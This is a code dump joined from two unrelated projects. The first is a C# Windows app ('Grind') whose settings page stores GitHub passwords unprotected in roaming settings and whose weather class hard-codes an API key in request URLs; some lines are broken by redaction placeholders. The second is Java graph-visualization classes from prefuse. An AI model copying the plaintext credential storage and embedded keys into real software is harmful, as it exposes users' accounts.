using Windows.UI.Xaml.Input;
using Windows.UI.Xaml.Media;
using Windows.UI.Xaml.Navigation;
// The Basic Page item template is documented at http://go.microsoft.com/fwlink/?LinkId=234237
namespace Grind
{
/// <summary>
/// A basic page that provides characteristics common to most applications.
/// </summary>
public sealed partial class SettingsPage : Page
{
private NavigationHelper navigationHelper;
private ObservableDictionary defaultViewModel = new ObservableDictionary();
public static bool Github = false;
public static string githubUsername = "";
public static string githubPassword = "";
public static bool Weather = false;
public static string weatherLocation = "";
/// <summary>
/// This can be changed to a strongly typed view model.
/// </summary>
public ObservableDictionary DefaultViewModel
{
get { return this.defaultViewModel; }
}
/// <summary>
/// NavigationHelper is used on each page to aid in navigation and
/// process lifetime management
/// </summary>
public NavigationHelper NavigationHelper
{
get { return this.navigationHelper; }
}
public SettingsPage()
{
this.InitializeComponent();
this.navigationHelper = new NavigationHelper(this);
this.navigationHelper.LoadState += navigationHelper_LoadState;
this.navigationHelper.SaveState += navigationHelper_SaveState;
}
/// <summary>
/// Populates the page with content passed during navigation. Any saved state is also
/// provided when recreating a page from a prior session.
/// </summary>
/// <param name="sender">
/// The source of the event; typically <see cref="NavigationHelper"/>
/// </param>
/// <param name="e">Event data that provides both the navigation parameter passed to
/// <see cref="Frame.Navigate(Type, Object)"/> when this page was initially requested and
/// a dictionary of state preserved by this page during an earlier
/// session. The state will be null the first time a page is visited.</param>
private void navigationHelper_LoadState(object sender, LoadStateEventArgs e)
{
Windows.Storage.ApplicationDataContainer roamingSettings =
Windows.Storage.ApplicationData.Current.RoamingSettings;
if (roamingSettings.Values.ContainsKey("githubEnabled"))
{
GithubSwitch.IsOn = Convert.ToBoolean(roamingSettings.Values["githubEnabled"].ToString());
}
if (roamingSettings.Values.ContainsKey("githubUsername"))
{
githubUsername = GithubUsername.Text = roamingSettings.Values["githubUsername"].ToString();
}
if (roamingSettings.Values.ContainsKey("githubPassword"))
{
githubPassword = <PASSWORD>.Password = roamingSettings.Values["githubPassword"].ToString();
}
if (roamingSettings.Values.ContainsKey("weatherEnabled"))
{
WeatherSwitch.IsOn = Convert.ToBoolean(roamingSettings.Values["weatherEnabled"].ToString());
}
if (roamingSettings.Values.ContainsKey("weatherLocation"))
{
WeatherLocation.Text = roamingSettings.Values["weatherLocation"].ToString();
}
}
/// <summary>
/// Preserves state associated with this page in case the application is suspended or the
/// page is discarded from the navigation cache. Values must conform to the serialization
/// requirements of <see cref="SuspensionManager.SessionState"/>.
/// </summary>
/// <param name="sender">The source of the event; typically <see cref="NavigationHelper"/></param>
/// <param name="e">Event data that provides an empty dictionary to be populated with
/// serializable state.</param>
private void navigationHelper_SaveState(object sender, SaveStateEventArgs e)
{
// Save app data
Windows.Storage.ApplicationDataContainer roamingSettings =
Windows.Storage.ApplicationData.Current.RoamingSettings;
roamingSettings.Values["githubEnabled"] = GithubSwitch.IsOn;
roamingSettings.Values["githubUsername"] = GithubUsername.Text;
roamingSettings.Values["githubPassword"] = <PASSWORD>;
roamingSettings.Values["weatherEnabled"] = WeatherSwitch.IsOn;
roamingSettings.Values["weatherLocation"] = WeatherLocation.Text;
}
#region NavigationHelper registration
/// The methods provided in this section are simply used to allow
/// NavigationHelper to respond to the page's navigation methods.
///
/// Page specific logic should be placed in event handlers for the
/// <see cref="GridCS.Common.NavigationHelper.LoadState"/>
/// and <see cref="GridCS.Common.NavigationHelper.SaveState"/>.
/// The navigation parameter is available in the LoadState method
/// in addition to page state preserved during an earlier session.
protected override void OnNavigatedTo(NavigationEventArgs e)
{
navigationHelper.OnNavigatedTo(e);
}
protected override void OnNavigatedFrom(NavigationEventArgs e)
{
navigationHelper.OnNavigatedFrom(e);
}
#endregion
private void GithubSwitch_Toggled(object sender, RoutedEventArgs e)
{
if(GithubSwitch.IsOn)
{
GithubUsername.IsEnabled = true;
GithubPassword.IsEnabled = true;
Github = true;
}
else
{
GithubUsername.IsEnabled = false;
GithubPassword.IsEnabled = false;
}
}
private void WeatherSwitch_Toggled(object sender, RoutedEventArgs e)
{
if(WeatherSwitch.IsOn)
{
WeatherLocation.IsEnabled = true;
Weather = true;
}
else
{
WeatherLocation.IsEnabled = false;
}
}
private void GithubUsername_TextChanged(object sender, TextChangedEventArgs e)
{
githubUsername = GithubUsername.Text;
}
private void WeatherLocation_TextChanged(object sender, TextChangedEventArgs e)
{
weatherLocation = WeatherLocation.Text;
}
private void GithubPassword_PasswordChanged(object sender, RoutedEventArgs e)
{
githubPassword = <PASSWORD>;
}
private void AppBarButton_Click_Home(object sender, RoutedEventArgs e)
{
navigationHelper.GoBack();
}
private void AppBarButton_Click_About(object sender, RoutedEventArgs e)
{
this.Frame.Navigate(typeof(AboutPage));
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using ForecastIOPortable;
using Windows.Devices.Geolocation;
using System.Net.Http;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using System.Text.RegularExpressions;
namespace Grind
{
class WeatherAPI
{
//https://api.darkskyapp.com/v1/forecast/d41d8cd98f00b204e9800998ecf8427e/42.7243,-73.6927
private static string APIKEY = "bb70271303471570aff4370dabe92cdf";
private Geolocator Locator = new Geolocator();
private double LAT;
private double LONG;
private ForecastApi API = new ForecastApi(APIKEY);
public ForecastIOPortable.Models.CurrentDataPoint HourlyForecast;
//0 is bad, 1 is good.
public WeatherAPI()
{
var API = new ForecastApi(APIKEY);
}
public async Task<string> getCurrentTemp()
{
if (SettingsPage.Weather && SettingsPage.weatherLocation == "")
{
return "0";
}
else
{
await setLocation();
var weatherURL = "https://api.forecast.io/forecast/bb70271303471570aff4370dabe92cdf/" + LAT + "," + LONG;
var httpClient = new HttpClient();
var content = await httpClient.GetStringAsync(weatherURL);
JObject weatherJson = JObject.Parse(content);
return (string)weatherJson["currently"]["temperature"];
}
}
public async Task<string> getCurrentSummary()
{
if (SettingsPage.Weather && SettingsPage.weatherLocation == "")
{
return "Enter a location.";
}
else
{
await setLocation();
var weatherURL = "https://api.forecast.io/forecast/bb70271303471570aff4370dabe92cdf/" + LAT + "," + LONG;
var httpClient = new HttpClient();
var content = await httpClient.GetStringAsync(weatherURL);
JObject weatherJson = JObject.Parse(content);
return (string)weatherJson["currently"]["summary"];
}
}
public async Task setLocationByString(){
var geocodeURL = "http://www.mapquestapi.com/geocoding/v1/address?key=A<KEY>&location=" + SettingsPage.weatherLocation;
var httpClient = new HttpClient();
var content = await httpClient.GetStringAsync(geocodeURL);
Regex r = new Regex("\"lat\":(?<lat>\\d*.\\d*)", RegexOptions.IgnoreCase);
Match m = r.Match(content);
if(m.Success)
{
LAT = Convert.ToDouble(m.Groups["lat"].ToString());
}
r = new Regex("\"lng\":(?<lng>-\\d*.\\d*)", RegexOptions.IgnoreCase);
m = r.Match(content);
if (m.Success)
{
LONG = Convert.ToDouble(m.Groups["lng"].ToString());
}
}
public async Task setLocation()
{
try
{
Locator.DesiredAccuracy = PositionAccuracy.High;
Geoposition pos = await Locator.GetGeopositionAsync();
LAT = pos.Coordinate.Latitude;
LONG = pos.Coordinate.Longitude;
}
catch
{
setLocationByString();
}
if (LAT == 0.0 || LONG == 0.0)
{
await setLocationByString();
}
}
}
}
|
e2d5aae7a70e44691925375e02681d6d27de40e5
|
[
"Markdown",
"C#"
] | 6 |
C#
|
zachatrocity/Grind
|
696420ebf9c7051b1c481062529a89efbf940390
|
151f1ee9072843d699f6b96ae17e99d7fc188cc1
|
refs/heads/master
|
<file_sep>package edu.berkeley.guir.prefuse.action;
import java.util.ArrayList;
import edu.berkeley.guir.prefuse.ItemRegistry;
/**
* The ActionSwitch multiplexes between a set of Actions, allowing only one
* of a group of actions to be executed at a given time.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ActionSwitch extends AbstractAction {
private ArrayList actions;
private int switchVal;
/**
* Creates an empty action switch.
*/
public ActionSwitch() {
actions = new ArrayList();
switchVal = 0;
} //
/**
* Creates a new ActionSwitch with the given actions and switch value.
* @param acts the Actions to include in this switch
* @param switchVal the switch value indicating which Action to run
*/
public ActionSwitch(Action[] acts, int switchVal) {
this();
for ( int i=0; i<acts.length; i++ )
actions.add(acts[i]);
setSwitchValue(switchVal);
} //
public void run(ItemRegistry registry, double frac) {
if ( actions.size() >0 ) {
get(switchVal).run(registry,frac);
}
} //
/**
* Get the Action at the given index.
* @param i the index of the Action
* @return the requested Action
*/
public Action get(int i) {
return (Action)actions.get(i);
} //
/**
* Add an Action to the switch, it is given the highest index.
* @param a the Action to add
*/
public void add(Action a) {
actions.add(a);
} //
/**
* Add an Action at the given index. Actions with higher indices
* are pushed over by one.
* @param i the index of the Action
* @param a the Action to add
*/
public void add(int i, Action a) {
actions.add(i,a);
} //
/**
* Sets the Action at the given index, overriding the Action
* previously at that value.
* @param i the index of the Action
* @param a the Action to set
*/
public void set(int i, Action a) {
actions.set(i,a);
} //
/**
* Removes the Action at the given index, Actions at higher indices
* are shifted down by one.
* @param i the index of the Action
* @return the removed Action
*/
public Action remove(int i) {
return (Action)actions.remove(i);
} //
/**
* Indicates how many Actions are in this switch
* @return the number of Actions in this switch
*/
public int size() {
return actions.size();
} //
/**
* Returns the current switch value, indicating the index of the Action
* that will be executed in reponse to run() invocations.
* @return the switch value
*/
public int getSwitchValue() {
return switchVal;
} //
/**
* Set the switch value. This is the index of the Action that will be
* executed in response to run() invocations.
* @param s the new switch value
*/
public void setSwitchValue(int s) {
if ( s < 0 || s >= actions.size() )
throw new IllegalArgumentException("Switch value out of legal range");
switchVal = s;
} //
} // end of class ActionSwitch
<file_sep>package edu.berkeley.guir.prefuse.graph.io;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import edu.berkeley.guir.prefuse.graph.Tree;
/**
* Interface by which to read in DefaultTree instances from stored files.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public interface TreeReader {
/**
* Load a tree from the file with the given filename.
* @param filename the file name of the file containing the tree
* @return the loaded DefaultTree
* @throws FileNotFoundException
* @throws IOException
*/
public Tree loadTree(String filename) throws FileNotFoundException, IOException;
/**
* Load a tree from the given url.
* @param url the url to read the tree from
* @return the loaded DefaultTree
* @throws IOException
*/
public Tree loadTree(URL url) throws IOException;
/**
* Load a tree from the given file
* @param f the file to read the tree from
* @return the loaded DefaultTree
* @throws FileNotFoundException
* @throws IOException
*/
public Tree loadTree(File f) throws FileNotFoundException, IOException;
/**
* Load a tree from the given input stream
* @param is the input stream to read the tree from
* @return the loaded DefaultTree
* @throws IOException
*/
public Tree loadTree(InputStream is) throws IOException;
} // end of interface TreeReader
<file_sep>package edu.berkeley.guir.prefuse.render;
import java.awt.Graphics2D;
import java.awt.geom.Point2D;
import java.awt.geom.Rectangle2D;
import edu.berkeley.guir.prefuse.VisualItem;
/**
* The NullRenderer does nothing, causing an item to be rendered "into
* the void". Maybe used for items that must exist and have a spatial
* location but should otherwise be invisible and non-interactive (e.g.,
* invisible end-points for visible edges).
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class NullRenderer implements Renderer {
Rectangle2D r = new Rectangle2D.Double(-1,-1,0,0);
public void render(Graphics2D g, VisualItem item) {
// the null renderer!
} //
public boolean locatePoint(Point2D p, VisualItem item) {
return false;
} //
public Rectangle2D getBoundsRef(VisualItem item) {
r.setRect(item.getX(), item.getY(),0,0);
return r;
} //
} // end of class NullRenderer
<file_sep>package edu.berkeley.guir.prefusex.force;
import java.awt.event.ActionEvent;
import javax.swing.AbstractAction;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JPanel;
/**
* Brings up a dialog allowing users to configure a force simulation.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ForceConfigAction extends AbstractAction {
private JDialog dialog;
public ForceConfigAction(JFrame frame, ForceSimulator fsim) {
dialog = new JDialog(frame, false);
dialog.setTitle("Configure Force Simulator");
JPanel forcePanel = new ForcePanel(fsim);
dialog.getContentPane().add(forcePanel);
dialog.pack();
} //
/**
* @see java.awt.event.ActionListener#actionPerformed(java.awt.event.ActionEvent)
*/
public void actionPerformed(ActionEvent e) {
dialog.setVisible(true);
} //
} // end of class ForceConfigAction
<file_sep><body>
The graph package contains data structures and algorithms for
representing and manipulating graph data.
</body><file_sep><body>
The external package is <b>UNDER CONSTRUCTION</b>!!! It is not ready for use
yet. When it is done, it will allow graph data to be pulled dynamically (on
a as-needed basis) from a backing store such as a database or file system.
</body><file_sep>package edu.berkeley.guir.prefusex.force;
/**
* Computes the force on a node resulting from treating incident edges
* as a system of springs.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class SpringForce extends AbstractForce {
private static String[] pnames
= new String[] { "SpringCoefficient", "DefaultSpringLength" };
public static final float DEFAULT_SPRING_COEFF = 1E-4f;
public static final float DEFAULT_SPRING_LENGTH = 100;
public static final int SPRING_COEFF = 0;
public static final int SPRING_LENGTH = 1;
private ForceSimulator fsim;
public SpringForce(float springCoeff, float defaultLength) {
params = new float[] { springCoeff, defaultLength };
} //
/**
* Constructs a new SpringForce instance.
*/
public SpringForce() {
this(DEFAULT_SPRING_COEFF, DEFAULT_SPRING_LENGTH);
} //
public boolean isSpringForce() {
return true;
} //
protected String[] getParameterNames() {
return pnames;
} //
/**
* Initialize this force function.
* Subclasses should override this method with any needed initialization.
* @param fsim the encompassing ForceSimulator
*/
public void init(ForceSimulator fsim) {
this.fsim = fsim;
} //
/**
* Calculates the force vector acting on the items due to the given spring.
* @param s the Spring for which to compute the force
*/
public void getForce(Spring s) {
ForceItem item1 = s.item1;
ForceItem item2 = s.item2;
float length = (s.length < 0 ? params[SPRING_LENGTH] : s.length);
float x1 = item1.location[0], y1 = item1.location[1];
float x2 = item2.location[0], y2 = item2.location[1];
float dx = x2-x1, dy = y2-y1;
float r = (float)Math.sqrt(dx*dx+dy*dy);
if ( r == 0.0 ) {
dx = ((float)Math.random()-0.5f) / 50.0f;
dy = ((float)Math.random()-0.5f) / 50.0f;
r = (float)Math.sqrt(dx*dx+dy*dy);
}
float d = r-length;
float coeff = (s.coeff < 0 ? params[SPRING_COEFF] : s.coeff)*d/r;
item1.force[0] += coeff*dx;
item1.force[1] += coeff*dy;
item2.force[0] += -coeff*dx;
item2.force[1] += -coeff*dy;
} //
} // end of class SpringForce<file_sep>package edu.berkeley.guir.prefuse.graph;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
/**
* A basic Entity implementation providing an object that can support
* any number of attributes. This is also the class from which the default
* implementation of graph entities (nodes and edges) descend.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class DefaultEntity implements Entity {
protected Map m_attributes;
/**
* Get an attribute associated with this entity.
* @param name the name of the attribute
* @return the attribute value (possibly null)
*/
public String getAttribute(String name) {
if ( m_attributes == null ) {
return null;
} else {
return (String)m_attributes.get(name);
}
} //
/**
* Get all attributes associated with this entity.
* @return a Map of all this entity's attributes.
*/
public Map getAttributes() {
if ( m_attributes == null ) {
return Collections.EMPTY_MAP;
} else {
return m_attributes;
}
} //
/**
* Get an attribute associated with this entity.
* @param name the name of the attribute
* @param value the value of the attribute
*/
public void setAttribute(String name, String value) {
if ( m_attributes == null ) {
m_attributes = new HashMap(3,0.9f);
}
m_attributes.put(name, value);
} //
/**
* Sets the attribute map for this Entity, using the same reference passed
* in as an argument (i.e. a copy is not made). The map should contain
* only <code>String</code> values, otherwise an exception will be thrown.
* @param attrMap the attribute map
* @throws IllegalArgumentException is the input map
* contains non-<code>String</code> values.
*/
public void setAttributes(Map attrMap) {
Iterator iter = attrMap.keySet().iterator();
while ( iter.hasNext() ) {
Object key = iter.next();
Object val = attrMap.get(key);
if ( !(key instanceof String && val instanceof String) )
throw new IllegalArgumentException(
"Non-string value contained in attribute map");
}
m_attributes = attrMap;
} //
/**
* Remove all attributes associated with this entity.
*/
public void clearAttributes() {
if ( m_attributes != null ) {
m_attributes.clear();
}
} //
/**
* Returns a String representation of the Entity.
* @see java.lang.Object#toString()
*/
public String toString() {
return "Entity["+getAttributeString()+"]";
} //
protected String getAttributeString() {
StringBuffer sbuf = new StringBuffer();
Iterator iter = m_attributes.keySet().iterator();
while ( iter.hasNext() ) {
String key = (String)iter.next();
String val = (String)m_attributes.get(key);
sbuf.append(key).append('=').append(val);
if ( iter.hasNext() )
sbuf.append(',');
}
return sbuf.toString();
} //
} // end of class DefaultEntity
<file_sep>package edu.berkeley.guir.prefuse.activity;
import java.util.ArrayList;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.action.*;
/**
* <p>The ActionList represents a chain of Actions that perform graph
* processing. These lists can then be submitted to the ActivityManager
* to be executed. In addition, ActionList also implements the Action
* interface, so ActionLists can be placed within other ActionLists,
* allowing recursive composition of different sets of Actions.</p>
*
* <p>As a subclass of Activity, ActionLists can be of two kinds.
* <i>Run-once</i> action lists have
* a duration value of zero, and simply run once when scheduled. Action lists
* with a duration greater than zero can be executed multiple times, waiting
* a specified step time between each execution until the activity has run for
* its full duration.</p>
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
* @see Activity
* @see edu.berkeley.guir.prefuse.action.Action
*/
public class ActionList extends Activity implements Action {
private ItemRegistry m_registry;
private ArrayList m_actions = new ArrayList();
/**
* Creates a new run-once ActionList that operates on the
* given ItemRegistry.
* @param registry the ItemRegistry that Actions should process
*/
public ActionList(ItemRegistry registry) {
this(registry, 0);
}
/**
* Creates a new ActionList of specified duration and default
* step time of 20 milliseconds.
* @param registry the ItemRegistry that Actions should process
* @param duration the duration of this Activity, in milliseconds
*/
public ActionList(ItemRegistry registry, long duration) {
this(registry, duration, Activity.DEFAULT_STEP_TIME);
} //
/**
* Creates a new ActionList of specified duration and step time.
* @param registry the ItemRegistry that Actions should process
* @param duration the duration of this Activity, in milliseconds
* @param stepTime the time to wait in milliseconds between executions
* of the action list
*/
public ActionList(ItemRegistry registry, long duration, long stepTime) {
this(registry, duration, stepTime, System.currentTimeMillis());
} //
/**
* Creates a new ActionList of specified duration, step time, and
* staring time.
* @param registry the ItemRegistry that Actions should process
* @param duration the duration of this Activity, in milliseconds
* @param stepTime the time to wait in milliseconds between executions
* of the action list
* @param startTime the scheduled start time for this Activity, if it is
* later scheduled.
*/
public ActionList(ItemRegistry registry, long duration,
long stepTime, long startTime)
{
super(duration, stepTime, startTime);
m_registry = registry;
} //
/**
* Returns the number of Actions in the action list.
* @return the size of this action list
*/
public synchronized int size() {
return m_actions.size();
} //
/**
* Adds an Action to the end of the action list
* @param a the Action instance to add
*/
public synchronized void add(Action a) {
m_actions.add(a);
} //
/**
* Adds an Action to the action list at the given index
* @param i the index at which to add the Action
* @param a the Action instance to add
*/
public synchronized void add(int i, Action a) {
m_actions.add(i, a);
} //
/**
* Returns the Action at the specified index in the action list
* @param i the index
* @return the requested Action
*/
public synchronized Action get(int i) {
return (Action)m_actions.get(i);
} //
/**
* Removes a given Action from the action list
* @param a the Action to remove
* @return true if the Action was found and removed, false otherwise
*/
public synchronized boolean remove(Action a) {
return m_actions.remove(a);
} //
/**
* Removes the Action at the specified index in the action list
* @param i the index
* @return the removed Action
*/
public synchronized Action remove(int i) {
return (Action)m_actions.remove(i);
} //
/**
* Runs this ActionList (as an Activity)
* @see edu.berkeley.guir.prefuse.activity.Activity#run(long)
*/
protected synchronized void run(long elapsedTime) {
run(m_registry, getPace(elapsedTime));
} //
/**
* Runs this ActionList.
* @see edu.berkeley.guir.prefuse.action.Action#run(edu.berkeley.guir.prefuse.ItemRegistry, double)
*/
public void run(ItemRegistry registry, double frac) {
synchronized ( m_registry ) {
Iterator iter = m_actions.iterator();
while ( iter.hasNext() ) {
Action a = (Action)iter.next();
try {
if ( a.isEnabled() ) a.run(m_registry, frac);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
} //
} // end of class Action
<file_sep>package edu.berkeley.guir.prefuse.graph;
import java.util.Iterator;
/**
* Interface representing a node in a tree structure.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public interface TreeNode extends Node {
/**
* Adds a new child to this node.
* @param e the edge to the child
* @return true if the child edge is added successfully, false if
* the edge connects to a node that is alrady a child.
*/
public boolean addChild(Edge e);
/**
* Adds a new child to this node at the specified index.
* @param idx the index at which to add the child
* @param e the edge to the child
* @return true if the child edge is added successfully, false if
* the edge connects to a node that is alrady a child.
*/
public boolean addChild(int idx, Edge e);
/**
* Returns the child at the given index
* @param idx the index of the child
* @return the requested child
*/
public TreeNode getChild(int idx);
/**
* Returns the number of children of this node.
* @return int the number of children
*/
public int getChildCount();
/**
* Returns the edge to the child at the given index
* @param idx the index of the child
* @return the requested edge
*/
public Edge getChildEdge(int idx);
/**
* Returns an iterator over the edges connecting this node to its children
* @return an iterator over child edges
*/
public Iterator getChildEdges();
/**
* Returns the index of the given edge to a child.
* @param e the edge to retrieve the index of
* @return the index, or -1 if the edge does not
* connect to a child of this node
*/
public int getChildIndex(Edge e);
/**
* Returns the index of the given child.
* @param c the child to retrieve the index of
* @return the index, or -1 if the given node is not
* a child of this node
*/
public int getChildIndex(TreeNode c);
/**
* Returns an iterator over this node's children
* @return an iterator over child nodes
*/
public Iterator getChildren();
/**
* Returns this node's next sibiling in the ordering of their parent
* @return the next sibling node, or null if this is the last node
*/
public TreeNode getNextSibling();
/**
* Returns the number of descendants this node has
* @return the number of descendants
*/
public int getDescendantCount();
/**
* Returns this node's parent
* @return this node's parent or null if the node has no parent
*/
public TreeNode getParent();
/**
* Returns the edge to this node's parent
* @return the edge to this node's parent, or null if there is no parent
*/
public Edge getParentEdge();
/**
* Returns this node's previous sibling in the ordering of their parent
* @return the previous sibling node, or null if this is the first node
*/
public TreeNode getPreviousSibling();
/**
* Indicates if the given node is a child of this one.
* @param c the node to check as a child
* @return true if the node is a child, false otherwise
*/
public boolean isChild(TreeNode c);
/**
* Indicates if the given edge connects this node to a child node
* @param e the edge to check
* @return true if the edge connects to a child node, false otherwise
*/
public boolean isChildEdge(Edge e);
/**
* Inidcates if a given node is a descendant of this one.
* Nodes are considered descendants of themselves (i.e.
* <tt>n.isDescendant(n)</tt> will always be true).
* @param n the node to check as a descendant
* @return true if the given node is a descendant, false otherwise
*/
public boolean isDescendant(TreeNode n);
/**
* Indicates if a given node is a sibling of this one.
* @param n the node to check for siblinghood
* @return true if the node is a sibling, false otherwise
*/
public boolean isSibling(TreeNode n);
/**
* Removes all children nodes as children of this node, but the nodes will
* remain connected as neighbor nodes of this one.
*/
public void removeAllAsChildren();
/**
* Removes all children nodes, both as children and as connected neighbors.
*/
public void removeAllChildren();
/**
* Removes the node at the given index as a child in the tree,
* but leaves it as a connected neighbor node.
* @param idx the index of the node to remove in the list of children
* @return the removed child node
*/
public TreeNode removeAsChild(int idx);
/**
* Removes the given node as a child in the tree,
* but leaves it as a connected neighbor node.
* @param n the node to remove
* @return true if the node was removed, false if the node is not a child
*/
public boolean removeAsChild(TreeNode n);
/**
* Removes the child node at the given index,
* both as a child and as a connected neighbor.
* @param idx the index of the child to remove
* @return the removed child node
*/
public TreeNode removeChild(int idx);
/**
* Remove the given node as a child of this node,
* both as a child and as a connected neighbor.
* @param n the child to remove
* @return true if the node was removed, false if the node is not a child
*/
public boolean removeChild(TreeNode n);
/**
* Remove the given child edge from this node,
* both as a child and as a connected neighbor.
* @param e the child edge to remove
* @return true if the edge was removed, false if the edge does not
* connect to a child of this node.
*/
public boolean removeChildEdge(Edge e);
/**
* Remove the child edge at given index from this node,
* both as a child and as a connected neighbor.
* @param idx the index of the child to remove
* @return true if the edge was removed, false if the edge does not
* connect to a child of this node.
*/
public Edge removeChildEdge(int idx);
/**
* Add the given node (which should already be a neighbor!) as a
* child of this node in the tree structure.
* @param idx the index at which to add the node
* @param c the node to add as a child
* @return true if the node is added successfully as a child, false
* if the node is already a child of this node.
* @throws IllegalStateException if the node is not already a neighbor
*/
public boolean setAsChild(int idx, TreeNode c);
/**
* Add the given node (which should already be a neighbor!) as a
* child of this node in the tree structure.
* @param c the node to add as a child
* @return true if the node is added successfully as a child, false
* if the node is already a child of this node.
* @throws IllegalStateException if the node is not already a neighbor
*/
public boolean setAsChild(TreeNode c);
/**
* Sets the number of descendants of this node. This should <b>NOT</b>
* be called by any application code!!
* @param count the number of descendants of this node
*/
public void setDescendantCount(int count);
/**
* Sets the parent of this node. This should <b>NOT</b> be called by
* application code!! Use <tt>addChild()</tt> instead.
* @param e the edge from this node to its new parent
*/
public void setParentEdge(Edge e);
} // end of interface TreeNode
<file_sep>package edu.berkeley.guir.prefusex.controls;
import java.awt.Cursor;
import java.awt.event.MouseEvent;
import java.awt.geom.Point2D;
import javax.swing.SwingUtilities;
import edu.berkeley.guir.prefuse.Display;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.event.ControlAdapter;
/**
* Zooms the display, changing the scale of the viewable region. Zooming
* is achieved by pressing the right mouse button on the background of the
* visualization and dragging the mouse up or down. Moving the mouse up
* zooms out the display around the spot the mouse was originally pressed.
* Moving the mouse down similarly zooms in the display, making items
* larger.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ZoomControl extends ControlAdapter {
private int yLast;
private Point2D down = new Point2D.Float();
private boolean repaint = true;
private boolean zoomOverItem = true;
private double minScale = 1E-3;
private double maxScale = 75;
/**
* Creates a new zooming control that issues repaint requests as an item
* is dragged.
*/
public ZoomControl() {
this(true);
} //
/**
* Creates a new zooming control that optionally issues repaint requests
* as an item is dragged.
* @param repaint indicates whether or not repaint requests are issued
* as zooming events occur. This can be set to false if other activities
* (for example, a continuously running force simulation) are already
* issuing repaint events.
*/
public ZoomControl(boolean repaint) {
this.repaint = repaint;
} //
private void start(MouseEvent e) {
if ( SwingUtilities.isRightMouseButton(e) ) {
Display display = (Display)e.getComponent();
if (display.isTranformInProgress()) {
yLast = -1;
return;
}
display.setCursor(
Cursor.getPredefinedCursor(Cursor.N_RESIZE_CURSOR));
display.getAbsoluteCoordinate(e.getPoint(), down);
yLast = e.getY();
}
}
private void drag(MouseEvent e) {
if ( SwingUtilities.isRightMouseButton(e) ) {
Display display = (Display)e.getComponent();
if (display.isTranformInProgress() || yLast == -1) {
yLast = -1;
return;
}
double scale = display.getScale();
int y = e.getY();
int dy = y-yLast;
double zoom = 1 + ((double)dy) / 100;
double result = scale*zoom;
if ( result < minScale ) {
zoom = minScale/scale;
display.setCursor(
Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
} else if ( result > maxScale ){
zoom = maxScale/scale;
display.setCursor(
Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
} else {
display.setCursor(
Cursor.getPredefinedCursor(Cursor.N_RESIZE_CURSOR));
}
display.zoomAbs(down, zoom);
yLast = y;
if ( repaint )
display.repaint();
}
}
private void end(MouseEvent e) {
if ( SwingUtilities.isRightMouseButton(e) ) {
e.getComponent().setCursor(Cursor.getDefaultCursor());
}
}
public void mousePressed(MouseEvent e) {
start(e);
} //
public void mouseDragged(MouseEvent e) {
drag(e);
} //
public void mouseReleased(MouseEvent e) {
end(e);
} //
public void itemPressed(VisualItem item, MouseEvent e) {
if ( zoomOverItem )
start(e);
}
public void itemDragged(VisualItem item, MouseEvent e) {
if ( zoomOverItem )
drag(e);
}
public void itemReleased(VisualItem item, MouseEvent e) {
if ( zoomOverItem )
end(e);
}
/**
* Gets the maximum scale value allowed by this zoom control
* @return the maximum scale value
*/
public double getMaxScale() {
return maxScale;
} //
/**
* Sets the maximum scale value allowed by this zoom control
* @return the maximum scale value
*/
public void setMaxScale(double maxScale) {
this.maxScale = maxScale;
} //
/**
* Gets the minimum scale value allowed by this zoom control
* @return the minimum scale value
*/
public double getMinScale() {
return minScale;
} //
/**
* Sets the minimum scale value allowed by this zoom control
* @return the minimum scale value
*/
public void setMinScale(double minScale) {
this.minScale = minScale;
} //
/**
* Indicates if the zoom control will work while the mouse is
* over a VisualItem.
* @return true if the control still operates over a VisualItem
*/
public boolean isZoomOverItem() {
return zoomOverItem;
} //
/**
* Determines if the zoom control will work while the mouse is
* over a VisualItem
* @param zoomOverItem true to indicate the control operates
* over VisualItems, false otherwise
*/
public void setZoomOverItem(boolean zoomOverItem) {
this.zoomOverItem = zoomOverItem;
} //
} // end of class ZoomControl
<file_sep>package edu.berkeley.guir.prefuse.collections;
import java.util.Comparator;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Node;
/**
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class EdgeNodeComparator implements Comparator {
private Comparator nodecmp;
private Node n;
public EdgeNodeComparator(Comparator c) {
this(c,null);
} //
public EdgeNodeComparator(Comparator c, Node n) {
nodecmp = c;
this.n = n;
} //
public void setIgnoredNode(Node n) {
this.n = n;
} //
public Node getIgnoredNode() {
return n;
} //
/**
* @see java.util.Comparator#compare(java.lang.Object, java.lang.Object)
*/
public int compare(Object o1, Object o2) {
if ( o1 instanceof Edge && o2 instanceof Edge ) {
Node n1 = ((Edge)o1).getAdjacentNode(n);
Node n2 = ((Edge)o2).getAdjacentNode(n);
return nodecmp.compare(n1,n2);
} else {
throw new IllegalArgumentException(
"Compared objects must be Edge instances");
}
} //
} // end of class EdgeNodeComparator
<file_sep>package edu.berkeley.guir.prefuse.event;
import java.awt.event.KeyEvent;
import java.awt.event.MouseEvent;
